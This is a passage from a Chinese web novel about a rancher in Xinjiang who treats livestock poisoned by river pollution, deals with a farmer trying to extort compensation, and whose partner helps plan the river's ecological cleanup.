姚新泉摆了摆手，别说杜若林两人没空在这常待，就算他们有空姚新泉也不是很欢迎。 一方面是家里屋子不够，让人一直住客厅也不像样。 另一方面她每次治疗的时候对方都跟在后面看，她虽然知道对方没有监视的意思，只是重视，但她心里总觉得怪怪的，而且很有压力，所以走了也挺好。 她脸上没掩饰表情，杜若林苦笑一声也没再说什么，装上师月江给两人带的将近20张巴掌大的蛋饼，又灌了一大壶茶水后两人踏上了归途。 “这下自在了？”师月江没忍住笑了出来，姚新泉是一点没掩饰自己在治疗过程中对两人的不欢迎啊！ 姚新泉有些不大好意思把人往外推，“行了行了你赶紧忙你的去吧，家里羊除了那八十多头全都放出去吧，牛让娜娜带着毛毛去放，不许朵朵跟点点放牛，让他们去看鸭子跟鹅，珍珠鸡胆子小，也不许他们去。那两个小兔崽子太皮了，牛都到了孕晚期，那两个小兔崽子要是吓到牛，牛肯定得早产，咱俩现在可没功夫管它们！” 娜娜原本是她以为狗狗军团中最难适应牧羊犬生活的宝宝，但是实际上她才是姚新泉两人最好的小助手。 她内向胆小，但是该担责任的时候也敢站出来，或者说她那个体格子就算她胆小，一般情况下别人也看不出来…… 她没那么爱动，也不会随意驱赶牲畜们，真的是非常贴心的孩子了。 师月江点头，“今天放牧的地方改到了渠那边，暂时不用给它们送水了，那我就去看看污水治理情况？” 姚新泉自然点头，她抱了师月江一下，松开后拍了拍他的肩膀，“辛苦你了，你看你来这么久就没一天歇着的。” 师月江赶忙打断她，表情有些无奈，“你别用这个语气跟我说话，也别拍我肩膀”。 姚新泉不解，“为什么？” 师月江叹了口气，“哪里像我对象，你分明就像是不愿意给我放假还想让我继续好好工作并且给我画饼充饥的邪恶老板！” 姚新泉被噎了一下，没好气地把他推出去，“赶紧给我干活去！” 师月江抿唇笑了，更像了。 小羊那边恢复的还可以，连着三天使用活性炭吸附毒素，因为状态还好，就没有单独给它们静脉注射，只是给它们准备了口服的补液盐，以及益生菌，另外还添加了一些维生素B溶液来促进代谢。 姚新泉随即抓了两只小羊把脉，胎儿的状况还好，不需要单独注射□□，不过姚新泉还是决定下山给它们买点葡萄糖酸钙溶液回来给它们喂上，防止生产时搐搦。 师月江没给它们喂饲料，姚新泉把单独给它们准备的干草以及易消化精料备上，又添加了一些新鲜的胡萝卜，把室内打扫干净，通风后这才离开。 想到山下的小牛姚新泉还是得去看看，她想了想把炽焰的马棚打开，让平安进来，跟他叮嘱了一番让他可以陪炽焰待一会儿，见两个小家伙没有抗拒彼此这才骑上摩托车离开。 姚新泉又赶紧下山，她本来想着到了山下给小牛犊看完病后就麻溜地回来，可怎么也没想到到了那户人家的时候就听到有人在吵架。 姚新泉听了动静不大对，赶忙停下车快步走到牛棚里，不想刚进去就看到眼前飞过来一块石头，伴随着艾力惊恐的一句“让开”，她赶忙蹲下避过。 姚新泉冷着脸看向室内的几人，“怎么回事？” 艾力惊魂未定，赶忙跑过来拉着她上下打量，“ 孩子你没事吧？有没有哪儿不舒服啊？” 艾力自己没结婚，他家里人管不住他，所以他也没个子女，姚新泉跟他虽然也算不上特别亲密，但是也算走的很近的后辈了，在他心里这就是自家孩子。 她为了帮自己才过来的，如果真出了点什么事情，艾力恨不得要杀人！ 姚新泉赶忙拍了拍他的手以作安抚，“叔我没事儿，这是闹什么呢？” 她冷着脸看向屋里的几人，除了小马干部她认识以外剩下三人她都不认识，一位中年男性跟小马站在一起，估计是村里或者镇上的干部，另外的一男一女脸色不好看，像是大病初愈一样，姚新泉心里对他们的身份有了猜测。 第92章 艾登很烦,非常烦，无论是放牛还是干活都让他每天提不起劲儿来，虽然之前村干部上门来说了那牛羊就别放到河里去饮水了,但他本身就将信将疑的。 不在河里饮水在哪里？ 另外一条河离这边可远得很,他才懒得过去折腾。 再说了,他去河里看过了,那水不也干干净净的吗,为什么不能喝？ 所以他并没有把村干部的话听进去,自己去饮牛之后也拎了一桶回去。 他们家这边倒是有自来水，但是冬天的时候水管子冻裂了，谁家也没去安，就这样大家都没自来水喝了。 不过影响不大,门口就是河,祖祖辈辈不都是这样过来的？ 可谁能想到,这水竟然真的不能喝！ 他也就喝了一碗奶茶，人就倒下了，上吐下泻的,要不是村干部来回访谁也不知道他们家人会怎么样。 被送到医院去之后洗了胃,躺在病床上的时候他突然听到有人在说那河里的水是被人排了脏东西才成那样的，那人肯定要针对损失进行赔偿。 艾登这一听心思就活跃了起来,他们一家五口都喝了水,情况不一,应该都有赔偿,就是多少的问题，不过在他看来，人没死没残，赔偿应该不算多吧！ 不过再一想,家里这不是还有牛吗？牛要是死了这不得赔不少？要是赔了钱他不就能去县里了？ 想到这里他也没心思继续挂水了，扭头赶紧回家，没办法，听说上面找了兽医去给家里牛治病，万一治好了他还咋要赔偿。 果不其然，到家之后就看到有人正在给牛治疗，他哪里肯？这不就跟人争执起来了？ 艾力真觉得这简直就是无妄之灾，他黑着脸挡在了姚新泉面前看向艾登，“我们好心好意给你家牛治病，你倒好，不仅拦我，你还想打人？来来，老子就站在这里，我看你敢碰我一下？” 姚新泉有些无奈，他有什么不敢的？刚才差点就给她爆头了！ 想到这里姚新泉的目光也冷了下来，艾登很是不屑地白了两人一眼，“谁要你好心好意了？这是我家！这是我家牲口！谁让你来了？我让你进我家门了吗？让你碰我家牛了吗？你还跟我扯着嗓子吼，我还没跟你吼呢！我家牛前两天还好端端的，结果你们一来，给我折腾的牛都瘦了一圈，亏了多少钱啊！赔钱！” 艾力都气笑了，他还没说话，小马干部便忍不住了，她脸上是毫不掩饰的愤怒，“你说得是人话吗？昨天早晨你自己非要给牛喝河里的水，我都来提醒过你不要喝不要喝，你不听！要不是我早晨来看了你们一下，你们一家子死在屋里都没人知道！” “你他妈咒谁呢？”艾登上前一步就想推人，姚新泉目光一冷，快步上前扯住艾登的领子将他拽开，“你干什么，想动手是吧？” 姚新泉个子高，身材比例又好，大长腿往那儿一戳看起来比一米七五的艾登都要高，更别说跟一米五七的小马比了。 小马眼眶酸酸的，她还以为自己要挨揍了！ “说话就说话，你要是再伸爪子试试”，姚新泉冷笑一声，“你以为自己想什么别人都看不出来？就你是聪明人是吧？” 艾登眼神慌乱了一瞬又强装镇定，“你可别胡说八道了，她说来跟我说过别喝河里的水，谁能证明？我可什么都没听到啊！她知道河水有毒眼睁睁就那么看着我们一家人喝，这人可真恶毒啊！” “装模作样把我们送到医院去就以为这事儿能了了？还自己安排人来我家，我家要是丢了什么东西我拿你们没完！还干部呢？你们什么干部啊？我看你们就是一群害人精！” “还有我家的牛，你们叽叽歪歪一通，还什么给牛扎针，我看我家的牛就是被你们扎坏的！赔钱！” 小马跟艾力都被气坏了，小马刚才还委屈地红了眼眶，现在则是气得眼睛泛红，恨不得冲上去挠他个满脸花！ 姚新泉一点都不气，这人意思不是表达得很明确吗？ “小马，你去报警吧，这里有人敲诈！” 几人一愣，小马条件反射地看向领导，就见村干部板着脸朝她点头，小马松了一口气，赶忙向外跑去。 艾登见状也急了，就想上去拽她，姚新泉冷笑一声抓住他的胳膊反手一扭别在身后，随后一脚踹在了他的膝盖上，艾登噗通一声跪在了地上！ 艾登人都蒙了，不是，咋还打人呢？ 反应过来后他立马扯着嗓子骂了起来，“你他妈给我放手！好啊，你们可真行，国家干部打老百姓了是吧？” 姚新泉用力把他往前一推，艾登扑到在地，姚新泉一脚踩在他的背上，艾登本来要爬起来的，这下又扑倒在了牛棚里，地上的干麦草里隐约传来一股牛粪味儿…… “你起开！”他有气无力地喊着，姚新泉冷笑一声示意艾力给他搬个凳子过来，她四下打量了一圈，看到不远处有个搭起来的架子，上面还放着一些干麦草。 姚新泉拽着艾登在两人震惊的目光中就往前拖着走，到了架子处后接过了艾力递给她的实木长板凳，降板凳卡在了他的身上固定住四肢后把人塞到了木架子之下。 艾力目瞪口呆，好家伙，这人身上压着凳子，凳子的高度又刚好卡在木架子下面，木头架子上又堆着老重的麦草，他现在只能跟乌龟一样，就剩四肢在划水，但是身体动不了了。 艾力忍了半天还是笑了起来，那边的领导也忍俊不禁，至于跟艾登一起的女人则不知道去哪了。 “我可不是你口中的什么领导，我就是个小牧民，你图什么我不管，但是你也别想着能敲诈到你姑奶□□上，行了，懒得跟你这种蠢货浪费口舌，公安来之前你就在这躺着吧！” 在艾登开口之前她目光冷冽地盯着对方，直到艾登咽下了嘴里的话，“你最好管住自己的嘴巴，否则我不介意抓一把麦草塞进去堵住你的嘴。” 艾登赶忙闭上嘴，眼睛里都是惊恐，这是哪里来的疯女人啊！ 李平跟姚新泉握了握手，“姚同志，我是这个村的村长，实在不好意思给你添麻烦了。” 他脸上都是抱歉，“这事儿你放心，来通知不要饮用河水我们是有证人的，请艾力大夫跟你过来治疗也是我们领导班子讨论之后的紧急避险措施，你的诊费我们会让他们正常掏，而且保证不会影响到你的。” 见艾登还想说话，李平面无表情地看了他一眼，别看他只是个小村长，但是手中的权力已经足够让艾登没办法消停过日子了。 艾登被吓得不敢说话了，一时间牛棚安静了下来。 他没想到姚新泉会直接动手，艾登成天逼逼叨叨些有的没的，他本想着不跟他计较，公道自在人心，但既然这人要折腾，自己也就算了，不可能让别人还平白受这个委屈！ 见他的态度摆出来了，艾力的不满这才平复了些许，他恨恨地瞪了艾登一眼，老东西，还想敲诈，想得倒挺美的！ 姚新泉没怎么去管艾力之前治疗的那几头牛，她径直去了小牛犊那里。 小牛犊见她过来赶忙凑上来拱了拱她，姚新泉的目光温柔了许多。刚才她就注意到了，小家伙见到艾登跟她闹，就想从牛棚里冲出来，只是被门给挡住了…… 姚新泉心里有了点别的想法，不过还是治疗优先。 给小家伙测了下肛温，稍微还有点低烧，不过不算太严重，又摸了摸小牛犊的脉，比起昨天已经好了不少，但还得接着解毒。 她提前带好了中药，按照脉象做了调整后，又开始熬煮中药，同时给针消毒后在小 牛犊的百会穴、大椎穴跟人中施针解毒，又在后三里、足三里跟关元俞施针调解脾胃，最后又在几个穴位施针保肝利胆。 远远看着小牛犊身上那长长的甚至似乎还会随着风微微颤动的针，艾登抖了一下，老天爷他跟这女煞星争什么啊？ 姚新泉似乎感受到了他的目光，回头看了过来，眼神中没有任何温度，可嘴角偏却又是勾起的，艾登眼睛蹬得溜圆，条件反射想躲，但身体被禁锢住了，无奈只能缩着脖子移开视线。 姚新泉冷笑一声，怂蛋！ 她又拿出了自己来的时候顺路去中药店买的艾条，艾力没忍住凑了上来，“你还要给牛艾灸啊！你这可真是一套一套的”。 说实话艾力还挺羡慕的，虽然说不知道她是从哪里学的这些，但是看起来就是学院派的，比他们家这种野路子自己摸索出来的要严谨得多，会的东西也多。 姚新泉可不藏私，她介绍了起来，“艾灸主要是用于缓解牲畜疼痛、风寒湿痹、脾胃虚弱等症状的”，这是她昨天晚上睡前新学的，目前也只是尝试。 “像是小牛犊中毒了，艾灸特定的穴位是可以促进毒素代谢的，同时如果它出现了腹泻、腹胀或者消化不良也能通过艾灸温中散寒。还能提升免疫力，艾叶的温热效应还能减轻肠道或者肝脏炎症反应。” 艾力拿着本子记了起来，“哪些穴位呢？”他这几头牛虽然如今状况看起来比姚新泉治得的这头要稍微好一些，但别忘了，这头小牛犊昨天的状态都跟要撑不过去了一样，这简直就是奇迹啊！ 第93章 姚新泉不知道艾力在想什么,她觉得自己现在的状态更多的像是系统的搬运工，系统教了什么她学什么，仅此而已,后续的融会贯通还需要她花大力气去学的,任重而道远啊！ 因为艾力过来,小牛犊不自在地挪动了两下,姚新泉摸了摸小牛的耳朵以作安抚,随后站在了小牛的左侧,示意艾力自己触摸，“脾俞穴在牛左侧第11根肋骨与第十二跟肋骨之间，距离背中线约莫一掌宽”，她比划了下自己的手后觉得不对,又加了一句,“大概15-20厘米左右,那里有一个凹陷处，你从后往前找方便一些。” 艾力闭着眼睛细细去感受，没一会儿露出了个笑来,是这里吗？ 姚新泉看了看后点头,她拿起一根艾条点燃后贴近小牛的皮肤，小牛感受到温度后不自在地挪动了起来,姚新泉拍了拍它的脑袋示意它安静,“不要靠的太近,大概两三厘米的位置就行,不然容易烫伤，5-10分钟的温和灸，时间允许的话每天一到两次，持续三五天就成。” 她把艾条递给艾力让他自己感受一下,等这个穴位灸完后又如法炮制让他去找了小牛身上的胃俞、足三里等穴位。 姚新泉偷瞄了一眼艾力的本子，就见上面是哈语带汉语带拼音的记录，还画了图，当然了那图可能只有他自己能看明白。 “我懂得不多，但你如果有需要的话可以来问我”，姚新泉想了想还是加了这么一句。 她个人的力量有限，精力也有限，管理一个牧场的同时偶尔还会接诊一些军马，哪怕她的兽医医术学的登峰造极了也不可能像艾力一样去出诊治疗的。 所以艾力如果愿意的话她也愿意把自己会的都教给他，也算是为了本地畜牧业做一点微小的贡献吧！ 两人一个学一个教很快将牛棚里艾登家包括别人家的牛全都艾灸了一遍，不知道是不是心理作用，艾力总觉得好像还挺有用的？ 公安的人姗姗来迟，小马干部见大家没打起来，好像还挺平和的，这下心里也放下心来，“没”，她的目光突然落在趴在地上动不了的艾登身上，眼睛瞪大了，把那句没事吧咽了下去，好像也不算没事哦！ 两名公安的目光也落在了艾登身上，艾登见着有人来了立马支棱起来，“同志！警察同志快来救我啊！” 艾力有些担心地看了姚新泉一眼，他又瞪了艾登一眼，心想不行就说自己动的手，有本事就把自己抓起来！ 他就不信了，这种王八蛋公安难道会帮他？ 两名公安听小马讲过这个事情了，本以为来的时候会见到一个撒泼打滚的老流氓，但没想到只看到了一个被压住的老乌龟！ 两人按下笑意后想先上前将人弄出来，可看了看压在上面的草垛子两人又迟疑了，这，这也不方便抬起来吧？ “你们这咋给人弄进去的？先让人出来啊！” 姚新泉哼了一声，咽下了嘴里那句让他手脚用力爬出来就行。 几人尝试着拉他，可一拉艾登就喊胳膊痛，最后没办法还是把草垛子掀翻到一边然后把凳子拿开把人弄了出来。 “同志，同志，就是她！”艾登恨恨地看着姚新泉，手指都恨不得戳上来。 姚新泉见他凑近了忙皱着眉头捂着鼻子退后，那表情刺激得艾登更生气了，“就是这个死丫头擅自进入我家，还把我的牛治坏了！” 姚新泉看到他就烦，刚想喷他就听一名公安道，“你也别在这瞎吵吵了，也不是谁声音大谁就有理的！” 这人是什么人他们不知道？小偷小摸的事情没少干，金额又小，事情也不大，他们也不能真因为这点儿事情就把人怎么样，但是就是很招人烦啊！ 李平都懒得看他，跟两名公安同志握手后他把这两天的情况大概讲了一下，又让姚新泉他们拿出做的记录来，“这两位同志都是好同志，你看看这牛，咱都是外行也弄不懂别的，但你只看这体温，人家治疗完就是降下来了，更别说昨天我见过这牛犊子”，他指了指靠在姚新泉身边的小牛犊，“昨天它都站不起来了，今天都爬起来想要顶人！” 公安接过记在本子上的病历翻看了几眼，表情很是一言难尽，说实话，确实只看得懂体温变化…… “同志，他闹这一出就是为了敲诈”，姚新泉突然出声，“他们一家中毒住院，家里人都没出院，只有他们夫妻俩出院，来了就把我们往外轰，不想让我们继续救治，图什么？” 她冷笑一声，“我想来想去还是觉得他应该就是想着如果牛都死了，他们才能问这次污染的肇事方索要赔偿。至于我们”，她指了指自己跟艾力，“估计就是能要到钱最好，要不到至少也要把我们赶走，别让我们继续救了！” 艾登脸色瞬间白了，等反应过来后又忙急着反驳，艾力恨恨地瞪了他一眼根本不想说话。 “你怎么回事？你是不是想敲诈？”公安也没拐弯抹角直接问道，艾登倒是咬死了不承认，不过这事儿确实不好说，毕竟也没实际去做，说不清的，姚新泉也懒得管。 她摸了摸身后的小牛的脑袋，想了想后跟艾力悄悄说了几句话，艾力不太想去，但见姚新泉坚持他无奈嘟囔了几句，一天天的瞎花钱！ 姚新泉带上自己的东西出了牛棚，目光却一直落在小牛犊身上。这小家伙很聪明，比别的小牛犊都聪明。 姚新泉觉得她养的小动物们分两种，一种是普通动物，也没有太多灵性，虽然对她也很亲近，但好像只是一种本能，而不是它们自己的意愿。 还有另外一些小动物跟别的不一样，它们很聪明，情感也比别的小动物们 要充沛一些，更有灵性。像是家里的狗狗军团，皮皮、小金、莱尼它们都是这一类的，不知道为什么在外面倒没怎么见到过特别有灵性的小动物，也可能是她接触的机会不多吧！ 但这头小牛犊是，姚新泉可以从它的大眼睛中看出对自己的亲近和依赖，也不是说真跟人一样了，只是姚新泉也没办法把它们当做普通牲畜来养，更没办法看着它们将来有被宰杀的风险。 想到这里姚新泉暗暗叹了口气，又花一笔钱，唉！ 因为污水的事情，家里羊的毛还没剃，那八十来头暂时别想了，另外的这两天抽空得剪掉，天热了到时候再中暑更完蛋！ 家里是挖了泡药的池子的，但因为他们基本都怀孕了，根本没办法去驱虫，杜泊羊引进到现在也经历了好几轮驱虫免疫，短期也不需要，等明年再看吧！ 也不知道艾力是怎么谈的，反正没过多久就见艾力牵着小牛犊出来，等到了大路上才把绳子递给她，“过会儿给你找个拖拉机运回去，我看这小犊子还腿软呢！” 他拍了拍小牛犊的屁股，小牛犊不高兴地冲他甩了甩尾巴，见状艾力反倒笑了，“岁数不大脾气不小。” “定了600块钱，也说好了村长会给他作证，中间的差额让他问肇事方要去！” “这么好说话？”姚新泉有些不可置信，一头小牛犊正经卖的话1000都不算贵呢！ 艾力哼笑一声，“我跟他说治好了也有后遗症，因为牛没死，他还要不到多少赔偿！” 姚新泉朝他竖了竖大拇指，“我还以为要威胁他呢！” 艾力嗤笑一声，“他这点儿事情就算公安来了又能怎么样？他还是个受害者，本来这次污染的事情就闹得挺大的，要是再出了这么个坏头，后面还不知道要成啥样呢！所以上面肯定希望能息事宁人，你就算想闹也闹不起来！” 至于敲诈，他俩有啥损失？不仅没损失，还把人揍了一顿，拉倒得了！ 姚新泉点了点头，“那行，我回头把钱给你送来。” 艾力嗯了一声，“行了，你家里事情也多赶紧回去吧，我这边治好了还得去别家呢，也一堆破事！” 李平帮他找了个拖拉机过来，几人费劲儿巴拉地把小牛犊送上车，姚新泉骑着车在前面带路。 另一边师月江一大早就去了专家那边，他说了自己的身份后那些人只当他是担忧自己的牧场，想着多个人帮手也成便没有阻拦。 “庞老师，检测结果出来了，水体里氮磷元素超标，除此之外，钾、铁跟其他微量元素也有些超标了，和您之前预料到的一样。” 庞教授拿着数据看了一会儿后叹了口气，“没办法堆肥，去联系做无害化处理吧！” “老师，那咱们是絮凝沉降吗？” 庞教授想了想后还是摇头，絮凝沉降后可能会留下金属离子，这对环境是有影响的。 “确定过目前这个河段里没有保护鱼类吧？” 学生杜军点了点头，“迁走了。” 庞教授叹了口气，“尝试少剂量使用杀藻剂，同时配合使用活性炭吸附。” 第94章 师月江没有跟着其他人,就跟在庞教授身后，听到这后便问，“教授,用杀藻剂会产生什么危害呢？是必须要用吗？可以自然恢复吗？” 庞教授看了他一眼叹了口气,“如果现在是10月或者11月这样那可以考虑,本身这次污染规模较小,而且这片也不是死水,流动性也比较好,如果气候转凉的话，蓝藻是可以在几周到几个月之间自然消退的，因为蓝藻喜高温”，北疆冬天零下二十度都是正常的,蓝藻没有存活的基础,可以暂时不处理。 “但现在快6月了,这几个月可是全疆最热的时候啊！” 师月江点了点头，那确实是没办法了。 庞教授又补充了一句，“而且这条河上下游是有不少人跟牲畜农田都是依赖这条河过活的,也没有这个时间让它去自我修复。” “至于危害”,庞教授脸上表情满是无奈，“我只能说尽量避免吧！”使用化学试剂肯定也会残留一些问题的,只能说是作取舍吧！ 他也不想这样,真要他来讲的话其实没有太大的必要,都打捞干净后就算爆发也最多就是小规模的,再捞呗！ 但是用了灭藻剂后续的问题可不是打捞就能解决的啊！ 接着师月江就见庞教授亲自去盯着这事儿，“浓度降到最低，比一般情况减量一半，就算一次效果不好咱们分批量投放,减少对水体的冲击”，他看向另一名学生，“做好监测，有什么不对及时跟我说。” 他带着师月江走向拖拉机，示意他帮忙，“把增氧机弄下来”，师月江跟几人把增氧机跟柴油发电机都弄到河边后庞教授拍了拍机子，“把增氧机打开，咱们手头就一台，聊胜于无吧！”开着增氧机能缓解藻类分解导致的缺氧，促进氧化剂的分散。 师月江在笔记本上记录，庞教授抽空看了他一眼，“什么学历？” “本科”，师月江老实回答。 “对这个感兴趣？可以来考我的研究生试试”，两人话也没说几句倒不是惜才，只是顺嘴一问罢了。 师月江笑了笑没说话，庞教授就知道对方志不在此了。 他没再顾忌师月江，叮嘱学生，“准备好活性炭，每立方米大概5-10克。” “再去联系县里的人，让他们赶紧采购枯草芽孢杆菌，没路子的话咱们学校有，不行就来找我！” 不过这个不算太急，得灭藻之后再用，可以加速有机物的分解，也能平衡生态。 师月江站在一旁欲言又止，庞教授没办法当做没看到，他好脾气地询问，“你是有什么想说的吗？” 师月江点头，“教授，咱们能不能不使用杀藻剂，使用硫酸氢钾的坏处太明显了，这次算是小规模的污染爆发，经过人工打捞之后绝大多数的藻类已经被打捞走了，真的有必要吗？” 他翻到自己做的笔记上，表情很是郑重，“使用硫酸氢钾会氧化分解水中的其他微生物，破坏水体生态平衡，以这些微生物而食的滤食性鱼类和贝类也都会因为缺少食物而死亡或者迁移，也会影响到沉水植物的生长，同时残留的毒素也会影响到水生生物，造成慢性中毒，同时还有许多副作用我想我也不用赘述了。” 庞教授点了点头，他看出来这个小年轻背后肯定有懂行的人，他也没生气，只是继续追问，“那你觉得可以怎么治理呢？” “这本来就是一次小规模的排污，污染源早就切断了，教授您一早就安排了人工打捞，而且我早晨也专门去下游和上游看过，您让人安了围网隔离污染区域，这种情况下，污染已经算是初步控制住了。” “我刚才听您和您的学生说了水体和藻类检测结果，您二位并未强调水体中有藻毒素，想来可能是没有吧，或者说没有那么严重？” 庞教授笑了下，轻轻叹了口气，“也是不幸中的万幸了，现在的检测设备不够灵敏，我们用了薄层层析的方法，确实没检测到藻类毒素，但也有可能只是浓度没那么高，不代表没有。” 他话音一转又道，“但我们观察了水体，藻类是蓝绿色丝状体，而不是蓝绿色、黏稠的水华，我们又取样连夜送去学校让他们做了检测，确定了藻类是螺旋藻而不是微囊藻。” 师月江又翻了下自己的笔记本，这是他昨天找了他哥让他帮自己联系了几位教授，自己跟对方电话沟通时做的笔记。等找到螺旋藻后终于笑了起来，“无毒。” 庞教授也笑着点头，“确实无毒。” “既然这样是不是可以不使用杀藻剂呢？优先生态修复？” 庞教授笑着叹气，“我也希望如此，但是如果想要见效快”，不等他说完师月江便打断了他，“庞教授，我觉得您和领导之间可能有些一些信息误差”，他无奈地笑了笑，他算是看明白了，这两方压根都没搞明白对方的意思。 “县领导希望能尽快解决，但是他们不清楚是不是有更合理的解决方式，想更好更快地解决不代表一定要使用有许多后遗症的方式啊！” 庞教授愣了一下，他之前只是听领导命令要用最快的速度解决这个问题就以为对方想要采用灭藻剂，可听师月江这么一说才反应过来，对啊，他好像没有告诉对方就算使用别的方式也不会拖延太久…… 他叹了口气，“这螺旋 藻快速再生的可能性本就不算太大”，想了想还是住了嘴，“是我的问题，那我现在下山先去联系当地领导”，不等他说完就见师月江从身后掏出个大哥大来递给他。 庞教授笑了，“行，我现在就联系。” 不知道他是怎么跟县领导说的，反正等他挂了电话回来后脸上带着笑意。 他把大哥大递给师月江，朝着学生拍了拍手，“来来来，咱们重新商讨一下，还是采用1号方案！” 学生先是一愣，随即便欢呼，“太好了，我就说不是非要用灭藻剂的！” “是啊，螺旋藻死亡后分解的氮磷元素都比较少，基本不太会造成二次水体富营养化，真的没必要啊！” 身边的人推了推他，这人小心觑了庞教授一眼，庞教授没好气地白了他。 不过说到底确实是他先入为主了，他以为领导会想着赶紧解决，不惜手段地解决这个问题，至于后续的事情，谁知道到时候自己还在不在这干了，管他洪水滔天呢！ 所以他虽然失望，但也懒得争辩了，只想着尽量控制好用量，不要造成太大的问题。 这下好了，这下可真好了！ “那现在就按照咱们之前的方案来，投入活性炭，再联系政府部门做风车和水车，增加曝气效果”，将水提升到高处喷洒可以增加曝气效果。 “你认识的那人应该跟你说了，需要增加水体中的溶解氧，改善水质，促进有机物分解和抑制厌氧反应，所以就需要增加曝气效果，这边风力资源还是比较丰富的，电力资源就难一些，用风车和水车环保节能而且相对来说对县里的压力也小一些，成本不高”，师月江点了点头，听他们继续沟通。 “去联系引进耐寒沉水植物”，他又说了一些，师月江等了等没等到自己想听的便又问，“不能引入滤食性的鱼类和贝类吗？” 庞教授苦笑，“你得考虑县里的情况，县里没有支柱产业，税收也有限，没办法拿出这么多钱来购买育苗和贝类，相对来说沉水植物的性价比会更高一些。” 师月江若有所思地点了点头，突然问，“那我们能自己购买投入吗？” 庞教授有些惊讶地看着他，就听他又道，“成本不是问题，我们也能接受养殖的鱼类和贝类游走。” 庞教授想了想，“你们自己去联系办手续，我可以帮忙联系购买本地的河蚌苗和螺蛳，鲢鱼和鳙鱼也可以帮你联系，都是本地品种，不用担心生物入侵，同时我们也会帮你算好最合适的养殖密度，避免影响水体质量。” 师月江刚想感谢就听对方又道，“但是你们自己得做好水质监测，确保养殖环境是安全的，在这一批上市时也得做好鉴定，确定是无毒无害可食用的才行，我会跟县里的人说这一点的”，他给的方案不能不管后续。 师月江自然是点头，“那是必然的，我们牧场开在这边，不可能为了短期的利益毁掉长久的经营。” 再说了，就算不提名声，万一人家真买了他们的鱼吃出问题，赔偿都够他们烦的了！ 庞教授满意地点了点头，刚想说现在帮他联系就听师月江道，“那我先回去问一下，确定好后回来跟您说。” 庞教授有些惊讶，“这牧场不是你的吗？” 师月江有些不好意思，“是我对象的。” 庞教授无语地看着他，这个上心的架势，他还以为这牧场就是这年轻人的呢！ 想到什么他赶紧提醒对方，“你别怪我多嘴啊，这人家姑娘自己家的东西吧，不管你是不是入赘，要想好好过日子就不能打人家的主意！” 师月江苦笑着答应，他只是想多帮帮忙让姚新泉不要那么操心来着，没想吃绝户的！ 第95章 师月江想着时间差不多了,回去做个饭给姚新泉送过去，顺便问问她的意见，不想到的时候正看见拖拉机载着一头小牛犊回来。 师月江凑了过去,“这是怎么回事？” 姚新泉脸色不大好看,把早晨的事情讲了一遍,师月江目光冷了冷,“得寸进尺,之后还要去吗？”这种委屈吃一次已经够够的了,他可不愿意姚新泉再去。 姚新泉摇了摇头，她又不傻，再说了就算她不抗拒去，艾力他们短期内也不可能再叫自己了。 “你怎么回来了？” 师月江这才想起自己的来意,他赶忙把之前的事情说了,再姚新泉看过来的时候还用一种求表扬的表情看着对方,姚新泉眼底满是笑意，她挽着师月江的胳膊，“那都听你的！” “好,那我跟庞教授说让他帮着联系买鱼苗跟河蚌苗”,师月江低头看着姚新泉，从这个角度能看到她毛茸茸的头发,看起来跟个炸毛的小狮子一样。 她头发干着的时候看不出来什么,但是头发一湿就发现其实姚新泉是有点自来卷的,小碎发也能看出毛炸炸的。 他没忍住揉了揉姚新泉的头发,姚新泉也不在意，“手续的话是你去办还是我去办？” “我去吧，最近家里病着的小家伙有那么多，你都得操心,再说了，估计没几天小牛犊也要出生了，你得忙死，这些琐碎的事情还是我来吧！” 姚新泉抱着他的胳膊晃了晃，从师月江来了之后她真的少了不少杂事。而且师月江还有一个很好的有点就是有什么他都不会擅自做主，尤其是涉及到牧场上一些相对重要的决定。 姚新泉是喜欢他的，师月江无论是长相、身材、性格还是各方面她都还挺喜欢的，可如果师月江是一个跟自己处上对象后便什么事情都想管着自己或者干涉她的生活的话，那姚新泉绝对第一个受不了。 万幸他不是，也庆幸他不是。 “哦对了”，姚新泉想起什么一脸懊恼，“我差点都忘了，你去办手续的时候顺便去把咱们参加乌洽会的资料提供过去，咱们是以县的名义去，不是以咱们牧场的名义，所以要求不高。不过只能出一个人，到时候咱们自费让你也去见见世面。” 师月江好脾气地笑着，“行，那就等着姚老板带我见见世面了！” 小牛犊走不了太远的路，但是不代表站不起来，两人找了几块儿木板子搭在拖拉机车厢上，小牛犊慢慢走了下来。 姚新泉把小牛犊关在了炽焰旁边的棚子里，给它放上草料两人回屋做饭。 姚新泉在洗菜，师月江在和面打算烤饼子，“你说庞教授让咱们养的河蚌是普通的那种还是出珍珠的啊？” “你想养珍珠蚌？”师月江问。 姚新泉想了想没否认，“我是觉得珍珠蚌可能经济效益会更高一点？”不过她还是很理智的又接着说，“但也只是想想而已，人家养殖珍珠蚌那都是需要专门学习技术的，什么插核之类的，咱这边是内陆，别说珍珠蚌了，螺蛳都少见，我要是养不是白往里扔钱吗？” 姚新泉自问自己还算是比较清醒的人，不会盲目觉得什么赚钱就往里钻。 她牧场里现在这些牲畜、家禽，就算不是本地品种，也是她仔细考虑过觉得在本地是可以生长，也可以适应本地的气候才决定要养殖的。 新省河水的水温比内地要低，更别说冬 天了。河蚌和螺蛳虽然不是遍地都是吧，但是新省是有的，可珍珠蚌她可从没听说过新省有野生的！ 没野生的一定程度上也说明了这东西不是特别适合新省的气候，那养殖难度肯定是要高很多的。 “咱们就算做水产养殖也最多就是搭上、顺带着做一做，可如果正儿八经当个事业来，咱们就俩人，怎么都忙不过来的！” 就算要请人，难不成还从内地找人才过来？ 不至于不至于，这么大一片草原还没利用起来呢还是别在别的地方放太多心思了！ 师月江点了点头，他也是赞同姚新泉的观点的，不过他想的是别的。即便经过净化，短期内水体里肯定还是有些不好的物质，两三个月内牲畜是不允许饮用的。 这种情况下珍珠蚌在里面生存可能也会影响它们分泌相关物质，影响珍珠的形成吧？ “反正咱们本来也是冲着净化水质去的，能养出来最好，要是不成损失也不大！” 不过师月江却在考虑别的问题，新泉是喜欢珍珠是吗？ 下午姚新泉去了一趟家禽那边，因为引过来的泉水比较小，所以也不用担心它们溺水，小鸭小鹅都能下河，姚新泉到的时候就看到在小渠沟里扑腾着的小鹅。 点点聚精会神地盯着小鹅，像是生怕它们溺水，随时打算去营救一样。 好不容易有点闲暇时间，姚新泉躺在草地上用手挡在眼睛上小憩，没一会儿感觉到身边有什么在蛄蛹，她起身就看到小白鼬正往她裤子口袋里钻呢！ 姚新泉失笑，“你怎么跑这儿来了？” 她没限制小白鼬的出行，这小家伙跟家里别的小动物不算亲密，不说狗狗军团跟小马，它可是在小金雕的食谱上呢！ 